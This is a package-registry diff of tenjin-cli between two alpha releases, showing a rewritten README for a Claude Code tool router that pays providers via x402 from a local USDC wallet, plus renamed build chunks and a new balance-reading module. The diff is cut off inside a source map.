tenjin-cli 0.1.0-alpha.17 → 0.1.0-alpha.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +152 -38
- package/dist/{_esm-CE7KNONL.js → _esm-OVVGTKHH.js} +4 -4
- package/dist/{chunk-5QHHRMRA.js → chunk-2SQEFBAM.js} +4 -3
- package/dist/chunk-3KKKB2AQ.js +40 -0
- package/dist/chunk-3KKKB2AQ.js.map +1 -0
- package/dist/{chunk-LJ4DMVFI.js → chunk-3VYGDRRL.js} +5 -5
- package/dist/{chunk-PDA2BVFY.js → chunk-5DOHKQ24.js} +4 -15
- package/dist/chunk-5DOHKQ24.js.map +1 -0
- package/dist/{chunk-N35E6CM2.js → chunk-6DCELMQA.js} +6 -6
- package/dist/{chunk-WXC57XGG.js → chunk-A36LQPHV.js} +1 -1
- package/dist/chunk-A36LQPHV.js.map +1 -0
- package/dist/{chunk-56MOAIP5.js → chunk-A6CY6BUW.js} +11 -8
- package/dist/chunk-A6CY6BUW.js.map +1 -0
- package/dist/{chunk-TP4D47BY.js → chunk-AISBL7EY.js} +3 -3
- package/dist/{chunk-KK4YGYTV.js → chunk-AMG4SONW.js} +138 -58
- package/dist/chunk-AMG4SONW.js.map +1 -0
- package/dist/{chunk-AUKDYPPX.js → chunk-BG2EXNAA.js} +7 -6
- package/dist/chunk-BG2EXNAA.js.map +1 -0
- package/dist/{chunk-O4ZNKFRU.js → chunk-FHBGTOFA.js} +121 -40
- package/dist/chunk-FHBGTOFA.js.map +1 -0
- package/dist/{chunk-HPWO4O6S.js → chunk-FPUPBQHX.js} +2 -2
- package/dist/{chunk-3AUDA53C.js → chunk-KTAW4KGH.js} +6 -5
- package/dist/{chunk-J5INH7WB.js → chunk-LSWVVSFX.js} +106 -5
- package/dist/chunk-LSWVVSFX.js.map +1 -0
- package/dist/chunk-O2JYBOUO.js +47 -0
- package/dist/chunk-O2JYBOUO.js.map +1 -0
- package/dist/{chunk-5UDD5VSY.js → chunk-PZQRSZJV.js} +2 -2
- package/dist/{chunk-5UDD5VSY.js.map → chunk-PZQRSZJV.js.map} +1 -1
- package/dist/{chunk-QDD2RN7G.js → chunk-SCAOYGKX.js} +356 -90
- package/dist/chunk-SCAOYGKX.js.map +1 -0
- package/dist/{chunk-35M3VITA.js → chunk-TDGN476R.js} +60 -7
- package/dist/chunk-TDGN476R.js.map +1 -0
- package/dist/{chunk-AR7U7BRG.js → chunk-UNV4K45L.js} +12 -18
- package/dist/{chunk-AR7U7BRG.js.map → chunk-UNV4K45L.js.map} +1 -1
- package/dist/{chunk-MRGADYDD.js → chunk-VFVFVQM6.js} +4 -4
- package/dist/{chunk-2JGT3KDW.js → chunk-WUU3BH6G.js} +2 -2
- package/dist/{chunk-KUBEYXSO.js → chunk-XDADPAWW.js} +22 -22
- package/dist/{chunk-WGQVJM56.js → chunk-XNP6VUAJ.js} +3 -3
- package/dist/{chunk-AWQPGIR6.js → chunk-Y66XUXVI.js} +5 -5
- package/dist/{chunk-XZOEUYMX.js → chunk-ZDKEU2GF.js} +2 -2
- package/dist/{chunk-WLMJE3GJ.js → chunk-ZTFIQC4C.js} +2 -2
- package/dist/{cli-VHYYYYXM.js → cli-456F77ZY.js} +33 -28
- package/dist/{cli-VHYYYYXM.js.map → cli-456F77ZY.js.map} +1 -1
- package/dist/{config-5ADBAAXU.js → config-BLUWOH6S.js} +9 -12
- package/dist/{doctor-Q35VQW3S.js → doctor-PS45CR3T.js} +37 -29
- package/dist/{doctor-Q35VQW3S.js.map → doctor-PS45CR3T.js.map} +1 -1
- package/dist/{fund-GDDPL2BB.js → fund-4SW2ZBWC.js} +18 -17
- package/dist/{fund-GDDPL2BB.js.map → fund-4SW2ZBWC.js.map} +1 -1
- package/dist/{hook-command-PBERPRE3.js → hook-command-YTV7X333.js} +318 -37
- package/dist/hook-command-YTV7X333.js.map +1 -0
- package/dist/index.js +2 -2
- package/dist/{install-OKDKGUXM.js → install-U4BIDCHH.js} +14 -13
- package/dist/{install-wallet-SI4LZ73K.js → install-wallet-EYHELQMG.js} +15 -14
- package/dist/{install-wallet-SI4LZ73K.js.map → install-wallet-EYHELQMG.js.map} +1 -1
- package/dist/{mcp-XX3WRQEZ.js → mcp-AC4PIXH5.js} +43 -28
- package/dist/{mcp-XX3WRQEZ.js.map → mcp-AC4PIXH5.js.map} +1 -1
- package/dist/{pay-3SYKHKWJ.js → pay-VJOP6TFT.js} +24 -19
- package/dist/{send-LQRKTEJT.js → send-YH75Z6LB.js} +15 -14
- package/dist/{send-LQRKTEJT.js.map → send-YH75Z6LB.js.map} +1 -1
- package/dist/{status-FFC6FO72.js → status-5CHCDLUE.js} +24 -17
- package/dist/status-5CHCDLUE.js.map +1 -0
- package/dist/{status-line-SAXSU6CR.js → status-line-CZAZUOAY.js} +6 -6
- package/dist/{status-line-wiring-L2WYIYBM.js → status-line-wiring-2ABDVXSJ.js} +4 -4
- package/dist/tenjin-daemon.mjs +3 -14
- package/dist/{uninstall-OACH27UV.js → uninstall-BYVGAQMO.js} +36 -18
- package/dist/uninstall-BYVGAQMO.js.map +1 -0
- package/dist/{update-4W6EKLGZ.js → update-7QJDSHST.js} +5 -5
- package/dist/{viemAdapter-By13KInL-X2VY6CY3.js → viemAdapter-By13KInL-N2GIVMZ7.js} +2 -2
- package/dist/{wallet-BMEXRR3P.js → wallet-YZOXIXBC.js} +15 -14
- package/docs/agent-permissions.md +30 -14
- package/docs/safety-model.md +7 -1
- package/package.json +1 -1
- package/dist/chunk-35M3VITA.js.map +0 -1
- package/dist/chunk-56MOAIP5.js.map +0 -1
- package/dist/chunk-AUKDYPPX.js.map +0 -1
- package/dist/chunk-J5INH7WB.js.map +0 -1
- package/dist/chunk-KK4YGYTV.js.map +0 -1
- package/dist/chunk-O4ZNKFRU.js.map +0 -1
- package/dist/chunk-PDA2BVFY.js.map +0 -1
- package/dist/chunk-QDD2RN7G.js.map +0 -1
- package/dist/chunk-U2DZISAH.js +0 -111
- package/dist/chunk-U2DZISAH.js.map +0 -1
- package/dist/chunk-WS4JA6TC.js +0 -137
- package/dist/chunk-WS4JA6TC.js.map +0 -1
- package/dist/chunk-WXC57XGG.js.map +0 -1
- package/dist/hook-command-PBERPRE3.js.map +0 -1
- package/dist/skill-placement-JMDPSKE6.js +0 -299
- package/dist/skill-placement-JMDPSKE6.js.map +0 -1
- package/dist/status-FFC6FO72.js.map +0 -1
- package/dist/uninstall-OACH27UV.js.map +0 -1
- /package/dist/{_esm-CE7KNONL.js.map → _esm-OVVGTKHH.js.map} +0 -0
- /package/dist/{chunk-5QHHRMRA.js.map → chunk-2SQEFBAM.js.map} +0 -0
- /package/dist/{chunk-LJ4DMVFI.js.map → chunk-3VYGDRRL.js.map} +0 -0
- /package/dist/{chunk-N35E6CM2.js.map → chunk-6DCELMQA.js.map} +0 -0
- /package/dist/{chunk-TP4D47BY.js.map → chunk-AISBL7EY.js.map} +0 -0
- /package/dist/{chunk-HPWO4O6S.js.map → chunk-FPUPBQHX.js.map} +0 -0
- /package/dist/{chunk-3AUDA53C.js.map → chunk-KTAW4KGH.js.map} +0 -0
- /package/dist/{chunk-MRGADYDD.js.map → chunk-VFVFVQM6.js.map} +0 -0
- /package/dist/{chunk-2JGT3KDW.js.map → chunk-WUU3BH6G.js.map} +0 -0
- /package/dist/{chunk-KUBEYXSO.js.map → chunk-XDADPAWW.js.map} +0 -0
- /package/dist/{chunk-WGQVJM56.js.map → chunk-XNP6VUAJ.js.map} +0 -0
- /package/dist/{chunk-AWQPGIR6.js.map → chunk-Y66XUXVI.js.map} +0 -0
- /package/dist/{chunk-XZOEUYMX.js.map → chunk-ZDKEU2GF.js.map} +0 -0
- /package/dist/{chunk-WLMJE3GJ.js.map → chunk-ZTFIQC4C.js.map} +0 -0
- /package/dist/{config-5ADBAAXU.js.map → config-BLUWOH6S.js.map} +0 -0
- /package/dist/{install-OKDKGUXM.js.map → install-U4BIDCHH.js.map} +0 -0
- /package/dist/{pay-3SYKHKWJ.js.map → pay-VJOP6TFT.js.map} +0 -0
- /package/dist/{status-line-SAXSU6CR.js.map → status-line-CZAZUOAY.js.map} +0 -0
- /package/dist/{status-line-wiring-L2WYIYBM.js.map → status-line-wiring-2ABDVXSJ.js.map} +0 -0
- /package/dist/{update-4W6EKLGZ.js.map → update-7QJDSHST.js.map} +0 -0
- /package/dist/{viemAdapter-By13KInL-X2VY6CY3.js.map → viemAdapter-By13KInL-N2GIVMZ7.js.map} +0 -0
- /package/dist/{wallet-BMEXRR3P.js.map → wallet-YZOXIXBC.js.map} +0 -0
package/README.md
CHANGED
|
@@ -1,87 +1,203 @@
|
|
|
1
|
-
|
|
1
|
+
<p align="center">
|
|
2
|
+
<picture>
|
|
3
|
+
<source media="(prefers-color-scheme: dark)" srcset="./assets/logo-dark.svg">
|
|
4
|
+
<img src="./assets/logo-light.svg" alt="Tenjin" width="220">
|
|
5
|
+
</picture>
|
|
6
|
+
</p>
|
|
2
7
|
|
|
3
|
-
|
|
8
|
+
<h3 align="center">The tool router for coding agents.</h3>
|
|
9
|
+
|
|
10
|
+
<p align="center">
|
|
11
|
+
Give your agent superpowers once. Tenjin hands it the right tool when it helps, and you keep working like before.<br>
|
|
12
|
+
No API keys. No pile of MCP servers. No rules to write.
|
|
13
|
+
</p>
|
|
14
|
+
|
|
15
|
+
<p align="center">
|
|
16
|
+
<a href="https://www.npmjs.com/package/tenjin-cli"><img src="https://img.shields.io/npm/v/tenjin-cli?color=C85A3B&label=npm" alt="npm version"></a>
|
|
17
|
+
<img src="https://img.shields.io/badge/works%20with-Claude%20Code-1C1A17" alt="Works with Claude Code">
|
|
18
|
+
<img src="https://img.shields.io/badge/payments-x402-8C9A7E" alt="Payments via x402">
|
|
19
|
+
</p>
|
|
20
|
+
|
|
21
|
+
<p align="center">
|
|
22
|
+
<a href="#quick-start">Quick start</a> ·
|
|
23
|
+
<a href="#what-it-can-do">Tools</a> ·
|
|
24
|
+
<a href="#wallet-and-payments">Wallet & payments</a> ·
|
|
25
|
+
<a href="#request-a-tool">Request a tool</a>
|
|
26
|
+
</p>
|
|
27
|
+
|
|
28
|
+
<p align="center">
|
|
29
|
+
<img src="./assets/demo.gif" alt="Tenjin in Claude Code: research, live crypto prices, company lookup, email verification, and computation" width="720">
|
|
30
|
+
</p>
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Why
|
|
35
|
+
|
|
36
|
+
Giving your agent good tools is a chore today:
|
|
37
|
+
|
|
38
|
+
- **A key for every tool.** Sign up, pick a plan, paste an API key into a config file. Five tools, five accounts.
|
|
39
|
+
- **MCP servers crowd the context.** Every server you install loads its tool definitions into every session, needed or not.
|
|
40
|
+
- **Your agent forgets anyway.** It reaches for plain web search out of habit, so you write rules to remind it, and it still slips.
|
|
41
|
+
- **Some tools you need once.** Installing something permanent for a one-off lookup isn't worth the setup.
|
|
42
|
+
|
|
43
|
+
Tenjin handles all of it. Install it once and keep working. The Tenjin router watches the moments where a tool could help: your prompt, your agent's web searches and page fetches, and the tasks it hands to subagents. When a curated tool beats what your agent was about to do, the router suggests it and your agent calls it. Your wallet pays for each call through [x402](#wallet-and-payments), so you manage no keys and install nothing new.
|
|
4
44
|
|
|
5
45
|
## Quick start
|
|
6
46
|
|
|
7
|
-
|
|
47
|
+
Requires Node.js 24 or newer and [Claude Code](https://code.claude.com). Codex support is on the way.
|
|
8
48
|
|
|
9
49
|
```bash
|
|
10
50
|
npm i -g tenjin-cli
|
|
11
|
-
tenjin install
|
|
12
|
-
tenjin wallet fund
|
|
51
|
+
tenjin install # sets up Claude Code and creates your wallet
|
|
52
|
+
tenjin wallet fund 2 # optional: add $2 with a card, via Coinbase
|
|
13
53
|
```
|
|
14
54
|
|
|
15
|
-
`tenjin install` sets up Claude Code and creates your wallet:
|
|
16
|
-
|
|
17
55
|
```text
|
|
18
56
|
✓ Tenjin is set up for Claude Code
|
|
19
57
|
✓ Wallet created: 0x3c0D84055994c3062819Ce8730869D0aDeA4c3Bf
|
|
20
|
-
|
|
58
|
+
Automatic router: up to $0.25 per call; daily limit $5 a day
|
|
21
59
|
|
|
22
60
|
Next: tenjin wallet fund, then restart Claude Code
|
|
23
61
|
```
|
|
24
62
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
## Using it
|
|
63
|
+
Restart Claude Code. That's it.
|
|
28
64
|
|
|
29
|
-
|
|
65
|
+
Then work as usual. Try:
|
|
30
66
|
|
|
31
67
|
```text
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
Integrate x^2 sin(x) dx from 0 to pi.
|
|
68
|
+
> What are BTC and ETH trading at?
|
|
69
|
+
> How do I paginate list results with the Stripe Node SDK?
|
|
70
|
+
> Is ada@example.com a deliverable address?
|
|
71
|
+
> Integrate x^2 sin(x) dx from 0 to pi.
|
|
36
72
|
```
|
|
37
73
|
|
|
38
|
-
Each answer
|
|
74
|
+
Each answer names the provider and the price. Your agent keeps its own tools, and the router steps in only when it has something better.
|
|
39
75
|
|
|
40
|
-
##
|
|
76
|
+
## What it can do
|
|
41
77
|
|
|
42
|
-
|
|
78
|
+
The router picks from a catalog we curate and maintain. Routing is free: you pay the provider's price and nothing else.
|
|
79
|
+
|
|
80
|
+
| Tool | What your agent gets | Price per call |
|
|
81
|
+
| ---------------------------------------------------------------- | ----------------------------------------------------------- | -------------- |
|
|
82
|
+
| **Docs lookup** · [Context7](https://context7.com) | Current, version-specific docs for a library or API | **Free** |
|
|
83
|
+
| **Web research** · [Exa](https://exa.ai) | Search results with the page content, not just links | $0.007 |
|
|
84
|
+
| **Read a page** · [Firecrawl](https://firecrawl.dev) | One exact page as clean text, even when a plain fetch fails | $0.01 |
|
|
85
|
+
| **Crypto prices** · [CoinMarketCap](https://coinmarketcap.com) | Live quotes for any coin | $0.01 |
|
|
86
|
+
| **Compute** · [Wolfram Alpha](https://www.wolframalpha.com) | Math, unit conversions, science and data questions | $0.02 |
|
|
87
|
+
| **Email check** · [Hunter](https://hunter.io) | Whether an address is real and deliverable | $0.03 |
|
|
88
|
+
| **Person lookup** · Minerva | A professional profile from a name or email | $0.05 |
|
|
89
|
+
| **Company profile** · [CompanyEnrich](https://companyenrich.com) | Size, industry, funding and socials from a domain or name | $0.06 |
|
|
90
|
+
|
|
91
|
+
Free tools run without a funded wallet. Twitter, Reddit and more are next, added by demand: [tell us what you want](#request-a-tool).
|
|
92
|
+
|
|
93
|
+
## How it works
|
|
94
|
+
|
|
95
|
+
```mermaid
|
|
96
|
+
flowchart LR
|
|
97
|
+
A["Your prompt,<br>a web search,<br>or a subagent task"] --> B{"Tenjin<br>router"}
|
|
98
|
+
B -- "a tool fits" --> C["Agent calls it<br>through x402"]
|
|
99
|
+
C --> D["Wallet pays the provider,<br>result comes back"]
|
|
100
|
+
B -- "nothing better" --> E["Agent carries on"]
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
The Tenjin router hooks into Claude Code at your prompt, before each web search or page fetch, and when your agent hands work to a subagent. At each point it asks Jev, a decision model from [TypeSafe](https://typesafe.ai), whether a tool in the catalog fits. Jev can only choose from that fixed list, so it never writes a call or an instruction for your agent.
|
|
104
|
+
|
|
105
|
+
When one fits, your agent sees a one-line suggestion with the tool and its price, and calls it through Tenjin's `x402` MCP server. Tenjin pays the provider from your wallet, within your limits, and hands back the result. Your status line shows the call as it happens:
|
|
43
106
|
|
|
44
107
|
```text
|
|
45
108
|
x402 · request: calling pro-api.coinmarketcap.com/x402/v3/cryptocurrency/quotes/latest · {"query":{"symbol":"BTC,ETH"}}
|
|
46
109
|
```
|
|
47
110
|
|
|
48
|
-
|
|
111
|
+
To pick a tool, the router sends your current turn and up to six recent messages, with keys, passwords and seed phrases masked. Tool results and page contents stay on your machine, and the packet expires after 15 minutes. `tenjin config set router.context turn` sends only the current message. [Full details, and everything install writes →](./docs/agent-permissions.md)
|
|
112
|
+
|
|
113
|
+
## Wallet and payments
|
|
114
|
+
|
|
115
|
+
Tenjin pays for tools with [x402](https://www.x402.org), an open standard that builds payments into HTTP. A paid endpoint answers `402 Payment Required` with its price, the client signs a payment for that amount, and the endpoint returns the result. Neither side needs an account or an API key. Read more: [x402.org](https://www.x402.org) · [whitepaper](https://www.x402.org/x402-whitepaper.pdf) · [Coinbase docs](https://docs.cdp.coinbase.com/x402/welcome) · [spec and SDKs](https://github.com/coinbase/x402).
|
|
116
|
+
|
|
117
|
+
### Your wallet
|
|
49
118
|
|
|
50
|
-
`tenjin install`
|
|
119
|
+
`tenjin install` creates a wallet on your machine that holds [USDC](https://www.circle.com/usdc) on [Base](https://base.org). Tenjin encrypts the private key, unlocks it through your OS keychain, and never sends it anywhere. Tenjin never holds or moves your funds. Paying a provider costs no gas.
|
|
51
120
|
|
|
52
|
-
|
|
121
|
+
### Limits
|
|
53
122
|
|
|
54
|
-
|
|
123
|
+
| Limit | Default | Change it |
|
|
124
|
+
| ---------- | ------- | ------------------------------------- |
|
|
125
|
+
| Per lookup | $0.25 | `tenjin config set maxAutoSpend 0.10` |
|
|
126
|
+
| Per day | $5 | `tenjin config set sessionBudget 2` |
|
|
127
|
+
|
|
128
|
+
Tenjin refuses any payment over either limit before it signs anything.
|
|
129
|
+
|
|
130
|
+
### Funding
|
|
131
|
+
|
|
132
|
+
`tenjin wallet fund 2` opens a Coinbase Onramp checkout for your wallet: pay by card, or Apple Pay where your region supports it. Sign in to Coinbase or create an account during checkout. You can also send USDC on Base to the address `tenjin wallet show` prints.
|
|
133
|
+
|
|
134
|
+
$1–2 goes a long way. $2 covers about 280 web searches, 200 page reads or 100 Wolfram Alpha answers.
|
|
135
|
+
|
|
136
|
+
### Withdrawing
|
|
137
|
+
|
|
138
|
+
`tenjin wallet send <amount> USDC <address>` sends funds to any address. It's a regular onchain transfer, so it needs a little ETH on Base for gas.
|
|
139
|
+
|
|
140
|
+
## Everyday commands
|
|
55
141
|
|
|
56
142
|
```bash
|
|
57
|
-
tenjin status
|
|
58
|
-
tenjin
|
|
59
|
-
tenjin
|
|
60
|
-
tenjin wallet
|
|
143
|
+
tenjin status # what you've spent today
|
|
144
|
+
tenjin wallet balance # what's left
|
|
145
|
+
tenjin wallet fund 5 # top up
|
|
146
|
+
tenjin update # newest version; wallet and settings stay
|
|
147
|
+
tenjin config set router.enabled false # pause the router on this machine
|
|
148
|
+
tenjin config set --project router.enabled false # ...or just in this repo
|
|
149
|
+
tenjin uninstall # remove the Claude Code setup; your wallet stays
|
|
61
150
|
```
|
|
62
151
|
|
|
63
|
-
|
|
152
|
+
Use `tenjin install --project` to set it up for a single project. Add `--json` to any command for machine-readable output.
|
|
153
|
+
|
|
154
|
+
<details>
|
|
155
|
+
<summary>Status line: keeping your own</summary>
|
|
156
|
+
|
|
157
|
+
`tenjin install` sets Claude Code's [status line](https://code.claude.com/docs/en/statusline) only if you don't already have one. If you do, yours is left alone and the install prints a command that shows both; `tenjin install --status-line compose` writes it for you, and `--status-line skip` leaves the setting untouched. The status line reads local files only: no network, no wallet, and it can't affect a lookup or a payment.
|
|
158
|
+
|
|
159
|
+
</details>
|
|
160
|
+
|
|
161
|
+
<details>
|
|
162
|
+
<summary>Spending limits: the fine print</summary>
|
|
64
163
|
|
|
65
|
-
|
|
164
|
+
Limits are set only where no setting exists yet, so an update never overwrites yours. The daily budget is a rolling 24-hour window. Setting either limit to `0` blocks automatic payments; `tenjin config set sessionBudget none` removes the daily ceiling only.
|
|
165
|
+
|
|
166
|
+
`tenjin pay <url>` pays any x402 endpoint you name. It ignores the automatic limits and always asks for your consent to the quoted price, interactively or with `--yes`. It is never used as a workaround when the router refuses. See the [safety model](./docs/safety-model.md).
|
|
167
|
+
|
|
168
|
+
</details>
|
|
169
|
+
|
|
170
|
+
<details>
|
|
171
|
+
<summary>Troubleshooting: Claude Code asks about a new project MCP server named <code>x402</code></summary>
|
|
172
|
+
|
|
173
|
+
Updating to `0.1.0-alpha.18` could accidentally register the server in `~/.mcp.json` while refreshing a user install. After upgrading to a release with the fix, check that file. If its `x402` entry runs `tenjin mcp` and you didn't install at project scope in your home directory on purpose, remove just that registration:
|
|
66
174
|
|
|
67
175
|
```bash
|
|
68
|
-
|
|
69
|
-
tenjin uninstall # removes the Claude Code setup; your wallet stays
|
|
176
|
+
(cd ~ && claude mcp remove x402 -s project)
|
|
70
177
|
```
|
|
71
178
|
|
|
72
|
-
|
|
179
|
+
This keeps your other MCP entries and the user registration in `~/.claude.json`. Run `tenjin install`, then restart Claude Code. Don't use `tenjin uninstall --project` from home for this: its settings path is also the user settings path.
|
|
180
|
+
|
|
181
|
+
When refreshing from home, Tenjin keeps the existing user registration if there is one, or preserves a project-only registration; with neither, it defaults to user scope. `tenjin install --refresh --project` selects project scope explicitly.
|
|
73
182
|
|
|
74
|
-
|
|
183
|
+
</details>
|
|
75
184
|
|
|
76
|
-
##
|
|
185
|
+
## Request a tool
|
|
186
|
+
|
|
187
|
+
Tenjin is in alpha, and the catalog grows with what people ask for. Missing a service your agent keeps needing? Hit a lookup that went to the wrong place? We want to hear it.
|
|
188
|
+
|
|
189
|
+
- **[Request a tool →](https://github.com/BackTrackCo/tenjin-agent/issues/new?title=Tool%20request%3A%20&labels=enhancement)**
|
|
190
|
+
- **[Report a bug →](https://github.com/BackTrackCo/tenjin-agent/issues/new?labels=bug)**
|
|
191
|
+
|
|
192
|
+
## Learn more
|
|
77
193
|
|
|
78
194
|
- [How a lookup runs, what it sends, and what install writes](./docs/agent-permissions.md)
|
|
79
195
|
- [Safety model](./docs/safety-model.md)
|
|
80
|
-
- `tenjin pay <url>` pays any x402 endpoint you name, under the same limits.
|
|
81
|
-
- Pass `--json` to any command for machine-readable output. Exit codes: `0` success, `1` runtime or network failure, `2` usage error, `3` policy refusal, `4` payment failure.
|
|
82
196
|
|
|
83
197
|
## Developing
|
|
84
198
|
|
|
199
|
+
Before contributing, read [CONTRIBUTING.md](./CONTRIBUTING.md) for the contributor agreement.
|
|
200
|
+
|
|
85
201
|
```bash
|
|
86
202
|
pnpm install
|
|
87
203
|
pnpm run githooks # once, to use the repo's git hooks
|
|
@@ -90,5 +206,3 @@ pnpm run test
|
|
|
90
206
|
pnpm run typecheck
|
|
91
207
|
pnpm run lint
|
|
92
208
|
```
|
|
93
|
-
|
|
94
|
-
Release notes live in [RELEASING.md](./RELEASING.md).
|
|
@@ -93,7 +93,7 @@ import {
|
|
|
93
93
|
withTimeout,
|
|
94
94
|
zeroAddress,
|
|
95
95
|
zeroHash
|
|
96
|
-
} from "./chunk-
|
|
96
|
+
} from "./chunk-Y66XUXVI.js";
|
|
97
97
|
import {
|
|
98
98
|
InvalidDomainError,
|
|
99
99
|
InvalidPrimaryTypeError,
|
|
@@ -127,8 +127,7 @@ import {
|
|
|
127
127
|
toPrefixedMessage,
|
|
128
128
|
toRlp,
|
|
129
129
|
validateTypedData
|
|
130
|
-
} from "./chunk-
|
|
131
|
-
import "./chunk-JRGFKVAZ.js";
|
|
130
|
+
} from "./chunk-6DCELMQA.js";
|
|
132
131
|
import {
|
|
133
132
|
AccountStateConflictError,
|
|
134
133
|
AtomicReadyWalletRejectedUpgradeError,
|
|
@@ -434,6 +433,7 @@ import {
|
|
|
434
433
|
weiUnits
|
|
435
434
|
} from "./chunk-EGELTSPU.js";
|
|
436
435
|
import "./chunk-KG3D7FIF.js";
|
|
436
|
+
import "./chunk-JRGFKVAZ.js";
|
|
437
437
|
import "./chunk-RBJPAZFI.js";
|
|
438
438
|
import "./chunk-BPMWXTFX.js";
|
|
439
439
|
import "./chunk-ZXTAQYNA.js";
|
|
@@ -877,4 +877,4 @@ export {
|
|
|
877
877
|
zeroAddress,
|
|
878
878
|
zeroHash
|
|
879
879
|
};
|
|
880
|
-
//# sourceMappingURL=_esm-
|
|
880
|
+
//# sourceMappingURL=_esm-OVVGTKHH.js.map
|
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
PRODUCTION_ORIGIN
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-UNV4K45L.js";
|
|
5
5
|
import {
|
|
6
6
|
package_default
|
|
7
|
-
} from "./chunk-
|
|
7
|
+
} from "./chunk-PZQRSZJV.js";
|
|
8
8
|
import {
|
|
9
9
|
CliError
|
|
10
10
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -221,7 +221,8 @@ function oversizedHeaderFailure(url) {
|
|
|
221
221
|
}
|
|
222
222
|
|
|
223
223
|
export {
|
|
224
|
+
composeUserAgent,
|
|
224
225
|
httpRequest,
|
|
225
226
|
fetchFailureToCliError
|
|
226
227
|
};
|
|
227
|
-
//# sourceMappingURL=chunk-
|
|
228
|
+
//# sourceMappingURL=chunk-2SQEFBAM.js.map
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
|
|
3
|
+
// src/lib/usdc-balance.ts
|
|
4
|
+
var USDC_ADDRESS = "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913";
|
|
5
|
+
var BALANCE_OF_SELECTOR = "0x70a08231";
|
|
6
|
+
var ADDRESS_RE = /^0x[0-9a-fA-F]{40}$/;
|
|
7
|
+
var WORD_RE = /^0x[0-9a-fA-F]{64}$/;
|
|
8
|
+
async function readUsdcBalance(address, rpcUrl, opts) {
|
|
9
|
+
if (!ADDRESS_RE.test(address) || opts.timeoutMs <= 0) return null;
|
|
10
|
+
try {
|
|
11
|
+
const res = await (opts.fetchImpl ?? fetch)(rpcUrl, {
|
|
12
|
+
method: "POST",
|
|
13
|
+
headers: { "content-type": "application/json" },
|
|
14
|
+
body: JSON.stringify({
|
|
15
|
+
jsonrpc: "2.0",
|
|
16
|
+
id: 1,
|
|
17
|
+
method: "eth_call",
|
|
18
|
+
params: [
|
|
19
|
+
{
|
|
20
|
+
to: USDC_ADDRESS,
|
|
21
|
+
data: `${BALANCE_OF_SELECTOR}${address.slice(2).toLowerCase().padStart(64, "0")}`
|
|
22
|
+
},
|
|
23
|
+
"latest"
|
|
24
|
+
]
|
|
25
|
+
}),
|
|
26
|
+
signal: AbortSignal.timeout(opts.timeoutMs)
|
|
27
|
+
});
|
|
28
|
+
if (!res.ok) return null;
|
|
29
|
+
const result = (await res.json())?.result;
|
|
30
|
+
return typeof result === "string" && WORD_RE.test(result) ? BigInt(result) : null;
|
|
31
|
+
} catch {
|
|
32
|
+
return null;
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
export {
|
|
37
|
+
USDC_ADDRESS,
|
|
38
|
+
readUsdcBalance
|
|
39
|
+
};
|
|
40
|
+
//# sourceMappingURL=chunk-3KKKB2AQ.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/usdc-balance.ts"],"sourcesContent":["/**\n * Base USDC's address and one `balanceOf` over plain JSON-RPC. No viem on\n * purpose: the router hooks read a balance before they redirect a call, and\n * their chunk graph must stay free of it (`src/router/dist-chunks.test.ts`).\n * One `eth_call` needs nothing viem adds. `usdc.ts` keeps the viem client for\n * the send path and re-exports the address from here.\n */\n\n// Values mirror the app's lib/chain.ts Base mainnet entry (chain 8453).\nexport const USDC_ADDRESS = '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913';\n\n/** `balanceOf(address)`: the first four bytes of its keccak-256. */\nconst BALANCE_OF_SELECTOR = '0x70a08231';\nconst ADDRESS_RE = /^0x[0-9a-fA-F]{40}$/;\n/** One ABI word: what `balanceOf` returns. */\nconst WORD_RE = /^0x[0-9a-fA-F]{64}$/;\n\n/**\n * The address's USDC balance in atomic units, or null when it could not be\n * read inside `timeoutMs`: a transport failure, a non-2xx, an RPC error, or an\n * answer that is not one word. Never throws, so the caller picks which way an\n * unreadable balance falls.\n */\nexport async function readUsdcBalance(\n address: string,\n rpcUrl: string,\n opts: { timeoutMs: number; fetchImpl?: typeof fetch },\n): Promise<bigint | null> {\n if (!ADDRESS_RE.test(address) || opts.timeoutMs <= 0) return null;\n try {\n const res = await (opts.fetchImpl ?? fetch)(rpcUrl, {\n method: 'POST',\n headers: { 'content-type': 'application/json' },\n body: JSON.stringify({\n jsonrpc: '2.0',\n id: 1,\n method: 'eth_call',\n params: [\n {\n to: USDC_ADDRESS,\n data: `${BALANCE_OF_SELECTOR}${address.slice(2).toLowerCase().padStart(64, '0')}`,\n },\n 'latest',\n ],\n }),\n signal: AbortSignal.timeout(opts.timeoutMs),\n });\n if (!res.ok) return null;\n const result = ((await res.json()) as { result?: unknown } | null)?.result;\n return typeof result === 'string' && WORD_RE.test(result) ? BigInt(result) : null;\n } catch {\n return null;\n 